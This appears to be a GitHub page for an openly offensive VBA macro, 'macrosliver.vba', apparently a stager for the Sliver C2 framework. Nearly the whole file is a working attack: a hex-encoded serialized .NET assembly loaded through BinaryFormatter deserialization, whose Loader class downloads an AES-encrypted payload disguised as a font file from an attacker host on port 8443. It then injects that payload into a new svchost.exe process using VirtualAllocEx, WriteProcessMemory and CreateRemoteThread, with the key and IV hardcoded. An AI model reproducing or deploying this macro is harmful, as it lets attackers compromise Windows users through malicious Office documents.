-
Notifications
You must be signed in to change notification settings - Fork 4
/
macrosliver.vba
136 lines (122 loc) · 25.7 KB
/
macrosliver.vba
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
Sub DebugPrint(s)
End Sub
Private Function decodeHex(hex)
On Error Resume Next
Dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")
Set EL = DM.createElement("tmp")
EL.DataType = "bin.hex"
EL.Text = hex
decodeHex = EL.NodeTypedValue
End Function
Function Run()
On Error Resume Next
Dim s As String
s = "0001000000FFFFFFFF010000000000000004010000002253797374656D2E44656C656761746553657269616C697A6174696F6E486F6C646572030000000844656C65676174650774617267657430076D6574686F64300303033053797374656D2E44656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E7472792253797374656D2E44656C65"
s = s & "6761746553657269616C697A6174696F6E486F6C6465722F53797374656D2E5265666C656374696F6E2E4D656D626572496E666F53657269616C697A6174696F6E486F6C64657209020000000903000000090400000004020000003053797374656D2E44656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E74727907000000047479706508"
s = s & "617373656D626C79067461726765741274617267657454797065417373656D626C790E746172676574547970654E616D650A6D6574686F644E616D650D64656C6567617465456E747279010102010101033053797374656D2E44656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E74727906050000002F53797374656D2E52756E74696D65"
s = s & "2E52656D6F74696E672E4D6573736167696E672E48656164657248616E646C657206060000004B6D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237376135633536313933346530383906070000000774617267657430090600000006090000000F53797374656D2E44656C6567"
s = s & "617465060A0000000D44796E616D6963496E766F6B650A04030000002253797374656D2E44656C656761746553657269616C697A6174696F6E486F6C646572030000000844656C65676174650774617267657430076D6574686F64300307033053797374656D2E44656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E747279022F53797374"
s = s & "656D2E5265666C656374696F6E2E4D656D626572496E666F53657269616C697A6174696F6E486F6C646572090B000000090C000000090D00000004040000002F53797374656D2E5265666C656374696F6E2E4D656D626572496E666F53657269616C697A6174696F6E486F6C64657206000000044E616D650C417373656D626C794E616D6509436C6173734E616D65095369676E6174"
s = s & "7572650A4D656D626572547970651047656E65726963417267756D656E7473010101010003080D53797374656D2E547970655B5D090A0000000906000000090900000006110000002C53797374656D2E4F626A6563742044796E616D6963496E766F6B652853797374656D2E4F626A6563745B5D29080000000A010B0000000200000006120000002053797374656D2E586D6C2E5363"
s = s & "68656D612E586D6C56616C756547657474657206130000004D53797374656D2E586D6C2C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237376135633536313933346530383906140000000774617267657430090600000006160000001A53797374656D2E5265666C656374696F6E2E417373656D62"
s = s & "6C790617000000044C6F61640A0F0C00000000260000024D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000"
s = s & "00504500004C010300821585EF0000000000000000E00022200B013000001E00000006000000000000AE3C00000020000000400000000000100020000000020000040000000000000004000000000000000080000000020000000000000300408500001000001000000000100000100000000000001000000000000000000000005B3C00004F00000000400000880300000000000000"
s = s & "0000000000000000000000006000000C000000C83B0000380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000B41C000000200000001E000000020000000000000000000000000000200000602E72737263000000880300"
s = s & "00004000000004000000200000000000000000000000000000400000402E72656C6F6300000C00000000600000000200000024000000000000000000000000000040000042000000000000000000000000000000008F3C000000000000480000000200050090240000381700000100000000000000000000000000000000000000000000000000000000000000000000000000000000"
s = s & "0000000000000000000000000000001E02281000000A2A2203281100000A262A00000013300A003601000001000011281200000A0E046F1300000A0A281200000A0E056F1300000A0B281400000A7E3C000004252D17267E3B000004FE0611000006731500000A25803C000004281600000A741E000001281700000A730E000006036F1800000A0C731900000A0D062C33072C301F10"
s = s & "130D2B100908110D916F1A00000A110D1758130D110D088E69175931E7096F1B00000A0607280900000613042B030813041104052808000006130504130611058E691307730C00000613081108167D3400000472010000701106281C00000A141414171A7E1D00000A141108120928020000062611097B060000042516731E00000A11077E020000047E010000042803000006130A16"
s = s & "130B120C11058E69281E00000A25110A1105110C110B28040000062616731E00000A16110A16731E00000A1616731E00000A2805000006262A00001B3004000301000002000011140A03722B000070281F00000A2C6C732000000A0B02732100000A0C0816732200000A0D20001000008D2A00000113042B0B0711041611056F2300000A0911041611048E696F2400000A2513051630"
s = s & "E2DE0A092C06096F2500000ADC076F2600000A0ADE14082C06086F2500000ADC072C06076F2500000ADC062A03723D000070281F00000A2C79732000000A130602732100000A1307110716732700000A130820001000008D2A00000113092B0C1106110916110A6F2300000A110811091611098E696F2400000A25130A1630E0DE0C11082C0711086F2500000ADC11066F2600000A0A"
s = s & "DE1811072C0711076F2500000ADC11062C0711066F2500000ADC062A022A00014C0000020024002E52000A0000000002001C004965000A00000000020015005A6F000A000000000200A10030D1000C000000000200970050E7000C0000000002008F0064F3000C000000001B3004008100000003000011030A040B282800000A0C08066F2900000A08076F2A00000A08176F2B00000A"
s = s & "08086F2C00000A086F2D00000A6F2E00000A0D02732100000A130411040917732F00000A130511050216028E696F2300000A11046F2600000A1306DE2211052C0711056F2500000ADC11042C0711046F2500000ADC082C06086F2500000ADC11062A0000000128000002004500175C000C0000000002003A002E68000C0000000002000A006A74000A000000004A1F40800100000420"
s = s & "0010000080020000042A7A027E1D00000A7D0400000402281000000A0202283000000A7D030000042A0000133002006000000000000000027E1D00000A7D2A000004027E1D00000A7D2B000004027E1D00000A7D2C000004027E1D00000A7D37000004027E1D00000A7D38000004027E1D00000A7D39000004027E1D00000A7D3A00000402281000000A0202283000000A7D29000004"
s = s & "2A4E0203283100000A252080F0FA026F3200000A2A1E02283300000A2A2E7310000006803B0000042A1E02281000000A2A0A172A0042534A4201000100000000000C00000076322E302E35303732370000000005006C0000000C080000237E000078080000B40B000023537472696E6773000000002C14000048000000235553007414000010000000234755494400000084140000B4"
s = s & "02000023426C6F620000000000000002000001571D021C0902000000FA013300160000010000002F000000080000003C000000110000002B000000330000001E0000001000000003000000010000000100000004000000010000000200000006000000000030070100000000000600A505F30806001206F3080600D304C1080F00130900000600FB040E08060079050E0806005A050E"
s = s & "080600F9050E080600C5050E080600DE050E08060012050E080600E704D4080600C504D40806003D050E0806005F0A770706002700710306006A0773010A004407E3070A005F07E30706001A07430B0600A607430B06005207430B0600550477070600960577070600B70777070A007B0A700A0A00A40A700A0A009A0677070600AA04F3080A009E069F0B0600780432090A00D30732"
s = s & "090A00EA099F0B0A00160AC10806007E06E50A0A005208700A06009B0477070600870677070600BA0877070600700773010A00FA03E30706004306770706000A04770706007E07430B0600DD03430B0600E903430B06001207D408000000004A000000000001000100010010003D0800003D00010001000A001000870900003D0003000B000A011000FB0700005D0006000C00020100"
s = s & "00B309000065000A000C000A001000220800003D0029000C0002001000BB0A000069003B000D00032110006D0300003D003B000F001100D600A00111008A02A00106009306A301060095087E0006001604A60106000A0A7E000600C6037E000600A203A30106009703A30106064703A00156806402A90156807202A90156807C00A90156803A02A9015680C300A90156802402A90156"
s = s & "80C201A9015680EE01A9015680D601A90156807D01A9015680B202A90156803D01A90156802701A9015680B201A90156801E02A90156800202A90156801303A90156802B03A90156804B02A9015680CD02A90156805501A90156808D00A90156806200A90156800601A9015680A900A9015680FE02A90156809601A9015680F700A9015680A301A90156809502A90106006103A30106"
s = s & "00D2037E00060033087E00060025047E0006000F03A30106004303A30106004806A30106005006A3010600CE09A3010600DC09A30106002D05A3010600C609A3010600020BAD0106002E00AD0106003A007E000600D00A7E000600DA0A7E0006007E087E0036004600B00116000100B401502000000000861888080600010000000000800096205300B801010000000000800096200E"
s = s & "0BCC010B0000000000800096206D0BD50110000000000080009120B303DF0115005820000000008600130A10001C0064200000000086003006EA011D00A8210000000096004D0AF30122000423000000009600930AFB012400BC230000000091188E0806022700CF23000000008618880806002700F0230000000086188808060027005C2400000000C400A10AFA0027007024000000"
s = s & "00861888080600280078240000000091188E080602280084240000000086188808060028008C240000000083000B000A022800000001002D04000002003F0400000300730900000400600900000500220900000600A30900000700850A00000800800B01000900200802000A00F907000001000A0A000002002C0A000003006406000004005F0400000500660A000001000A0A000002"
s = s & "001E0A000003004B0800000400640600000500BC07000001000A0A00000200600900000300580600000400360A00000500660800000600A309000007008C03000001008E0600000100400700000200600B000003009107000004003C0B00000500FC0A000001005C0300000200910700000100F10A00000200250B00000300EA0200000100450A000001004408000002008804000003"
s = s & "00DD0700000400FA09090088080100110088080600190088080A00290088081000310088081000390088081000410088081000490088081000510088081000590088081000610088081500690088081000710088081000C10088080600E9008808060079008808060011019B0A1A001901ED003D0019019A0943002101C2064900F10088084E0029014D0454002101EA066000D1004F"
s = s & "0343000C00880806000C00CE036C000C001D0B72003101580A780039012E087E003901880801003101930B9800890088080600890088089E0091008808A4004101A404AE004101AE03B60059017004060089001D0BBE0099008808A400A1009404D4006101340B9E006101F7029E0061017206D90061012C0BBE006101F002BE006101AA08E000B1008808E90079016B06F500D100A1"
s = s & "0AFA00D900AF0A0100D1008808060009002C000A01090030000F0109003400140109003800190109003C001E01090040002301090044002801090048002D0109004C003201090050003701090054003C0109005800410109005C004601090060004B0109006400500109006800550109006C005A01090070005F0109007400640109007800690109007C006E01090080007301090084"
s = s & "007801090088007D0109008C008201090090008701090094008C0109009800910109009C0096010900A0009B012E000B0017022E00130020022E001B003F022E00230048022E002B0059022E00330059022E003B0059022E00430048022E004B005F022E00530059022E005B0059022E00630077022E006B00A10243005B00AE02A30073000A0103017B000A0121008100C300230766"
s = s & "000001050053000100000107000E0B0100000109006D0B010000010B00B303010004800000010000000000000000000000000072080000020000000000000000000000010164030000000002000000000000000000000001017707000000000300020004000200050002000600020007000200080002000000003C3E395F5F31325F30003C446F776E6C6F6164416E64457865637574"
s = s & "653E625F5F31325F30004C6973746031006362526573657276656432006C70526573657276656432003C3E39003C4D6F64756C653E0043726561746550726F6365737341004352454154455F425245414B415741595F46524F4D5F4A4F42004352454154455F53555350454E4445440050524F434553535F4D4F44455F4241434B47524F554E445F454E44004352454154455F444546"
s = s & "41554C545F4552524F525F4D4F4445004352454154455F4E45575F434F4E534F4C4500504147455F455845435554455F524541445752495445006765745F41534349490050524F46494C455F4B45524E454C004352454154455F50524553455256455F434F44455F415554485A5F4C4556454C004352454154455F5348415245445F574F575F56444D004352454154455F5345504152"
s = s & "4154455F574F575F56444D0050524F434553535F4D4F44455F4241434B47524F554E445F424547494E0053797374656D2E494F004352454154455F4E45575F50524F434553535F47524F55500050524F46494C455F555345520050524F46494C455F534552564552004352454154455F464F524345444F530049444C455F5052494F524954595F434C415353005245414C54494D455F"
s = s & "5052494F524954595F434C41535300484947485F5052494F524954595F434C4153530041424F56455F4E4F524D414C5F5052494F524954595F434C4153530042454C4F575F4E4F524D414C5F5052494F524954595F434C4153530044455441434845445F50524F43455353004352454154455F50524F5445435445445F50524F434553530044454255475F50524F4345535300444542"
s = s & "55475F4F4E4C595F544849535F50524F43455353004D454D5F434F4D4D4954004352454154455F49474E4F52455F53595354454D5F44454641554C54004352454154455F554E49434F44455F454E5649524F4E4D454E5400455854454E4445445F53544152545550494E464F5F50524553454E54004145534956006765745F4956007365745F4956004352454154455F4E4F5F57494E"
s = s & "444F570064775800494E48455249545F504152454E545F414646494E49545900494E48455249545F43414C4C45525F5052494F52495459006477590076616C75655F5F00446F776E6C6F6164446174610064617461006362006D73636F726C6962003C3E630053797374656D2E436F6C6C656374696F6E732E47656E65726963006C7054687265616449640064775468726561644964"
s = s & "00647750726F63657373496400526561640043726561746552656D6F7465546872656164006854687265616400416464006C7052657365727665640050616464696E674D6F64650043727970746F53747265616D4D6F646500436F6D7072657373696F6E4D6F64650049446973706F7361626C650062496E686572697448616E646C65006C705469746C65006C704170706C69636174"
s = s & "696F6E4E616D65006C70436F6D6D616E644C696E6500436F6D62696E650056616C75655479706500666C416C6C6F636174696F6E5479706500446973706F736500583530394365727469666963617465006365727469666963617465004372656174650044656C656761746500577269746500436F6D70696C657247656E657261746564417474726962757465004775696441747472"
s = s & "69627574650044656275676761626C6541747472696275746500436F6D56697369626C6541747472696275746500417373656D626C795469746C6541747472696275746500417373656D626C7954726164656D61726B41747472696275746500647746696C6C41747472696275746500417373656D626C7946696C6556657273696F6E41747472696275746500417373656D626C7943"
s = s & "6F6E66696775726174696F6E41747472696275746500417373656D626C794465736372697074696F6E41747472696275746500466C61677341747472696275746500436F6D70696C6174696F6E52656C61786174696F6E7341747472696275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F7079726967687441747472696275746500"
s = s & "417373656D626C79436F6D70616E794174747269627574650052756E74696D65436F6D7061746962696C69747941747472696275746500446F776E6C6F6164416E644578656375746500427974650064775853697A650064775953697A65006477537461636B53697A6500647753697A650053697A654F66007365745F50616464696E6700456E636F64696E6700537472696E670070"
s = s & "617468004C656E677468005572690052656D6F7465436572746966696361746556616C69646174696F6E43616C6C6261636B006765745F536572766572436572746966696361746556616C69646174696F6E43616C6C6261636B007365745F536572766572436572746966696361746556616C69646174696F6E43616C6C6261636B004D61727368616C0052696A6E6461656C006B65"
s = s & "726E656C33322E646C6C004D6163726F536C697665722E646C6C0075726C004465666C61746553747265616D0043727970746F53747265616D00475A697053747265616D004D656D6F727953747265616D0053797374656D0053796D6D6574726963416C676F726974686D00436F6D7072657373696F6E416C676F726974686D004943727970746F5472616E73666F726D00456E756D"
s = s & "006C704E756D6265724F6642797465735772697474656E0058353039436861696E00636861696E0053797374656D2E494F2E436F6D7072657373696F6E006C7050726F63657373496E666F726D6174696F6E0053797374656D2E5265666C656374696F6E006C7053746172747570496E666F005A65726F006C704465736B746F70004C6F616465720073656E64657200627566666572"
s = s & "0053657276696365506F696E744D616E61676572006C70506172616D65746572004D6163726F536C6976657200685374644572726F72002E63746F72002E6363746F72006C70536563757269747944657363726970746F7200437265617465446563727970746F7200496E745074720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E496E7465"
s = s & "726F7053657276696365730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730062496E686572697448616E646C65730053797374656D2E53656375726974792E43727970746F6772617068792E58353039436572746966696361746573006C7054687265616441747472696275746573006C7050726F6365737341"
s = s & "747472696275746573005365637572697479417474726962757465730047657442797465730064774372656174696F6E466C6167730043726561746550726F63657373466C616773006477466C61677300647758436F756E74436861727300647759436F756E7443686172730053736C506F6C6963794572726F72730073736C506F6C6963794572726F7273006850726F6365737300"
s = s & "52756E50726F63657373006C704261736541646472657373006C7041646472657373006C705374617274416464726573730061646472657373004465636F6D707265737300436F6E636174004F626A65637400666C50726F746563740053797374656D2E4E657400576562436C69656E74006C70456E7669726F6E6D656E740044656372797074005374617274004765745765625265"
s = s & "7175657374007365745F54696D656F757400576562436C69656E745769746854696D656F75740068537464496E70757400685374644F75747075740053797374656D2E546578740063697068657274657874006165736976007753686F7757696E646F77005669727475616C416C6C6F63457800546F4172726179004145534B6579006765745F4B6579007365745F4B657900616573"
s = s & "6B65790053797374656D2E53656375726974792E43727970746F6772617068790054617267657442696E61727900577269746550726F636573734D656D6F7279006C7043757272656E744469726563746F7279006F705F457175616C6974790053797374656D2E4E65742E53656375726974790000002943003A005C00570069006E0064006F00770073005C00530079007300740065"
s = s & "006D00330032005C0000116400650066006C006100740065003900000967007A00690070000000961B38C9C8404048AA1BEE90E153134300042001010803200001052001011111042001010E04200101020600011280890E1B070E1D051D051D0515124101051D051D050E08121811101808180805000012808D0520011D050E0400001279052002011C180B00021280951280951280"
s = s & "950500010112790515124101050520010113000520001D13000500020E0E0E02061816070B1D051245124512491D050812451245124D1D0508050002020E0E052001011D05092002011280A11180A5072003011D050808072003081D0508080420001D051007071D051D0512511255124512591D050400001251062001011180B508200212551D051D050B2003011280A112551180B9"
s = s & "040001081C062001126D127108B77A5C561934E089040100000004020000000404000000040800000004100000000420000000044000000004800000000400010000040002000004000400000400080000040010000004002000000400400000040080000004000001000400000200040000040004000008000400001000040000200004000000010400000002040000000404000000"
s = s & "08040000001004000000200400000040040000008002060902060802060203061114020606030612200306127913000A180E0E120C120C021114180E12181011100800051818180809090900050218181D0518080A00071818180918180918082005010E0E0E0E0E0700021D051D050E0A00031D051D051D051D05030000010C2004021C127D1280811180850801000800000000001E"
s = s & "01000100540216577261704E6F6E457863657074696F6E5468726F7773010801000200000000001001000B4D6163726F536C69766572000005010000000017010012436F7079726967687420C2A920203230323400002901002437396435346432342D323338652D346262642D393664642D37326266373032663438313900000C010007312E302E302E300000050100010000000000"
s = s & "0098D348B000000000020000005B000000003C0000001E0000000000000000000000000000100000000000000000000000000000005253445310B9827411552D4F937290564D4D0163010000005A3A5C436F64655C50656E3330305C4D6163726F536C697665725C4D6163726F536C697665725C6F626A5C52656C656173655C4D6163726F536C697665722E70646200833C00000000"
s = s & "0000000000009D3C00000020000000000000000000000000000000000000000000008F3C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C000000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010010000000180000800000000000000000000000"
s = s & "00000001000100000030000080000000000000000000000000000001000000000048000000584000002C03000000000000000000002C0334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000001000000000000000100000000003F0000000000000004000000020000000000000000000000000000004400000001"
s = s & "00560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B0048C020000010053007400720069006E006700460069006C00650049006E0066006F0000006802000001003000300030003000300034006200300000001A000100010043006F006D006D0065006E00740073000000000000"
s = s & "0022000100010043006F006D00700061006E0079004E0061006D006500000000000000000040000C000100460069006C0065004400650073006300720069007000740069006F006E00000000004D006100630072006F0053006C0069007600650072000000300008000100460069006C006500560065007200730069006F006E000000000031002E0030002E0030002E003000000040"
s = s & "001000010049006E007400650072006E0061006C004E0061006D00650000004D006100630072006F0053006C0069007600650072002E0064006C006C0000004800120001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000A90020002000320030003200340000002A00010001004C006500670061006C"
s = s & "00540072006100640065006D00610072006B00730000000000000000004800100001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004D006100630072006F0053006C0069007600650072002E0064006C006C00000038000C000100500072006F0064007500630074004E0061006D006500000000004D006100630072006F0053006C00690076"
s = s & "00650072000000340008000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000"
s = s & "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000C000000B03C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
s = s & "00010D00000004000000091700000009060000000916000000061A0000002753797374656D2E5265666C656374696F6E2E417373656D626C79204C6F616428427974655B5D29080000000A0B"
entry_class = "Loader"
Dim stm As Object, fmt As Object, al As Object
Set stm = CreateObject("System.IO.MemoryStream")
If stm Is Nothing Then
manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?><assembly xmlns=""urn:schemas-microsoft-com:asm.v1"" manifestVersion=""1.0""><assemblyIdentity name=""mscorlib"" version=""2.0.0.0"" publicKeyToken=""B77A5C561934E089"" /><clrClass clsid=""{D0CBA7AF-93F5-378A-BB11-2A5D9AA9C4D7}"" progid=""System.Runtime.Ser"
manifest = manifest & "ialization.Formatters.Binary.BinaryFormatter"" threadingModel=""Both"" name=""System.Runtime.Serialization.Formatters.Binary.BinaryFormatter"" runtimeVersion=""v2.0.50727"" /><clrClass clsid=""{8D907746-455E-39A7-BD31-BC9F81468347}"" progid=""System.Collections.ArrayList"" threadingModel=""Both"" name=""System.Co"
manifest = manifest & "llections.ArrayList"" runtimeVersion=""v2.0.50727"" /><clrClass clsid=""{8D907846-455E-39A7-BD31-BC9F81468347}"" progid=""System.Text.ASCIIEncoding"" threadingModel=""Both"" name=""System.Text.ASCIIEncoding"" runtimeVersion=""v2.0.50727"" /><clrClass clsid=""{8D907846-455E-39A7-BD31-BC9F81488347}"" progid=""System."
manifest = manifest & "Security.Cryptography.FromBase64Transform"" threadingModel=""Both"" name=""System.Security.Cryptography.FromBase64Transform"" runtimeVersion=""v2.0.50727"" /><clrClass clsid=""{8D907846-455E-39A7-BD31-BC9F81468B47}"" progid=""System.IO.MemoryStream"" threadingModel=""Both"" name=""System.IO.MemoryStream"" runtimeV"
manifest = manifest & "ersion=""v2.0.50727"" /></assembly>"
Set ax = CreateObject("Microsoft.Windows.ActCtx")
ax.ManifestText = manifest
Set stm = ax.CreateObject("System.IO.MemoryStream")
Set fmt = ax.CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = ax.CreateObject("System.Collections.ArrayList")
Else
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
End If
Dim dec
dec = decodeHex(s)
For Each i In dec
stm.WriteByte i
Next i
stm.Position = 0
Dim n As Object, d As Object, o As Object
Set d = fmt.Deserialize_2(stm)
al.Add Empty
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
o.DownloadAndExecute "https://192.168.X.X:8443/hello.woff", "svchost.exe", "", "D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT", "8y/B?E(G+KbPeShV"
If Err.Number <> 0 Then
DebugPrint Err.Description
Err.Clear
End If
End Function